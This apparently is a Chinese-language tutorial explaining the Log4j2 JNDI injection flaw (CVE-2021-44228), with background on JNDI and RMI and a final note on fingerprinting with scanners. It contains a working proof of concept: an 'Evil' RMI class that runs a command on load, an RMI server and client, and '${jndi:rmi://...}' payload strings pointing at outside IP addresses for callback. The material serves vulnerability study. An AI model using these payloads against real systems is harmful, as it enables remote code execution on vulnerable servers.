log4j2 远程代码执行漏洞 CVE-2021-44228
what’s log4j
先简单叨叨两句日志是什么
日志对蓝队来说还是蛮重要的,出现各种问题都可以去日志看看报错,发生攻击,日志也是进行排查发现红队蛛丝马迹的重要资源
日志三大功能:
问题诊断、审计、性能监控
那么 log4j – 基于java的日志系统
通过日志记录器接口,为程序提供了灵活的配置选项,可以将不同级别的消息输出到不同的目的地如控制台、文件、数据库等。Log4j 可以帮助开发人员更好地调试应用程序,同时也方便了运维人员对应用程序进行监控和故障排查。
配置以及使用样例
引入 log4j 依赖:
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.14.1</version>
</dependency>
"${jndi:rmi://39.105.131.50:8085/VBAUrimN}"
log4j 使用样例
package org.test;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class TestLog4j {
private static Logger logger = LogManager.getLogger("Log4jDemoApplication");
public static void main(String[] args) {
String name="rice";
String admin="admin";
if(name.equals(admin)){
System.out.println("登录成功");
}else{
logger.error("登录失败");
}
}
}
运行,可以看到,由于 name 属性是 rice ,并非 admin 直接会在控制台输出一个登录失败

两个概念
两个小概念,备用(虽然我第一次看的时候也不太能弄明白 JNDI 到底什么玩意
jndi 和 rmi 实际运作起来的原理很复杂,先不深究,自顶向下学习的魅力(
JNDI
JNDI(Java Naming and Directory Interface,Java命名和目录接口)
//一段定义概述
Sun 公司提供的一种标准的 Java 命名系统接口,JNDI 提供统一的客户端 API,通过不同的 =访问提供者接口 JNDI 服务供应接口(SPI)的实现,由管理者将 JNDI API 映射为特定的命名服务和服务系统,使得 Java 应用程序可以和目录服务之间进行交互
RMI
远程对象方法调用,简单概括就是让一个 JVM 中的对象可以调用另一个 JVM 中的对象的方法并获取调用结果
另一个 JVM 可以在同一个主机,也可以不在同一个主机,自然而然的,rmi 就会有两个需求:一个 Server 端和一个 Client 端,Server 端需要创建一个类,并注册其为可以被外部远程访问,称为 远程对象 ,Client 端可以调用远程对象的方法,打成互相通信
jndi注入
示例
起手先来一个示例:
一个接口,继承了 Remote,rmi 的 Remote ,可以被远程访问,然后 Evil 类,实现了接口,并且继承了 unicastremoteobject ,还有一个 rmiserver,一个 jndiclient
Remoteobject
package org.test;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.io.IOException;
public interface RemoteObj extends Remote {
public void sayhi() throws IOException;
}
继承了 rmi 的 remote,一个 sayhi 方法
Evil
package org.test;
import java.io.IOException;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
public class Evil extends UnicastRemoteObject implements RemoteObj {
protected Evil() throws RemoteException {
}
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
@Override
public void sayhi() throws IOException {
Runtime.getRuntime().exec("calc");
}
}
实现了接口,重写了 sayhi 方法,调用 runtime 去弹计算器
RMIServer
package org.test;
import java.rmi.AlreadyBoundException;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIserver {
public static void main(String[] args) throws RemoteException, AlreadyBoundException {
RemoteObj remoteObj = new Evil();
Registry r = LocateRegistry.createRegistry(1099);
r.bind("RemoteObj", (Remote) remoteObj);
System.out.println("RMI server started");
}
}
server 实例化了 Evil 类(new 了一个然后当作远程类)
创建 1099 端口作为 rmi 的服务端,之后将 remoteobject 放到上面去监听(也就是刚刚 new 的那个 Evil 类)
JNDIClient
如果只是通过 rmi 进行远程方法调用,而不涉及动态加载远程类, JNDIServer 是不必要的
package org.test;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.io.IOException;
public class JNDIclient {
public static void main(String[] args) throws NamingException {
System.setProperty(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory");
System.setProperty(Context.PROVIDER_URL, "rmi://localhost:1099");
InitialContext initialContext = new InitialContext();
RemoteObj remoteObj = (RemoteObj) initialContext.lookup("rmi://localhost:1099/RemoteObj");
// 调用远程方法
try {
remoteObj.sayhi();
} catch (IOException e) {
e.printStackTrace();
}
}
}
首先初始化上下文(new 一个 InitialContext)然后调用他的 lookup,就能获取到远程对象(rmi 标签),之后就可以对远程对象的方法进行调用
先把 rmiserver 运行起来,之后运行 JNDIClient ,可以看到弹出计算器,成功调用到了 Evil 的 sayhi 方法

总结下来就是,jndi 提供访问,rmi 提供远程对象(简单理解)
漏洞原理
上面一个示例演示的是什么呢?先看一下漏洞的成因:
log4j远程代码执行漏洞大致过程(此处使用RMI,LDAP同理)
因为Log4j2默认支持解析ldap/rmi协议(只要打印的日志中包括ldap/rmi协议即可),并会通过名称从ldap/rmi 服务端其获取对应的Class文件,并使用ClassLoader在本地加载Ldap服务端返回的Class类。
假设有一个Java程序,会将用户名信息记录到日志中:
攻击者发送一个HTTP请求,其中包含了${jndi://rmi服务器地址/Exploit}的 jndi 语句
此时Log4j2会解析到 ${},读取出其中的内容。判断其为 RMI 实现的 JNDI。于是调用 Java 的 lookup 方法,尝试完成 RMI 的 lookup 操作,加载实例化远程类,如果类中存在一个比如静态方法(上述示例中就已经写入了一个,在启动 rmi 服务的时候也会因为 new 了一次 Evil 类而触发一个计算器)
当然了如果有调用一个对象的方法(比如上面的 sayhi 方法)也一样的,只不过写入静态方法这种操作只要实例化加载出来就会触发
示例
修改一下最开始的测试 log4j 使用的样例:
package org.test;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class TestLog4j {
private static Logger logger = LogManager.getLogger("Log4jDemoApplication");
public static void main(String[] args) {
String name="rice";
String admin="admin";
if(name.equals(admin)){
System.out.println("登录成功");
}else{
logger.error("jndi:rmi://26.50.144.144:8085/HNBnnaUd");
}
}
}
//本地起的 rmi 测试一直不成功,不是很能理解,代码功能没有错,但就是解析不弹计算器,这里用 yakit 起个 rmi 的反连好了

起个 urldns 链子,之后开 rmi 反连,copy 过去,运行测试一下

产生解析记录,测试成功
所谓 jndi 注入,就跟 sql 注入似的,让构造的 jndi 出现在日志中
不得不说 java 安全这块真是,链子千篇一律,产生的原因和利用方式五花八门(
也可以利用自己云服务器去搭建 rmi/ladp 服务,也挺简单的,写好类然后编译成 class,用 python 起个目录服务,再用工具起 rmi 服务就ok,网上也有文章教
log4j2 识别
接下来就是该如何识别,探测到 log4j 的指纹
直接上被动扫描,bp 的插件 log4j2burpscanner,或者用测绘引擎查,没啥技术含量
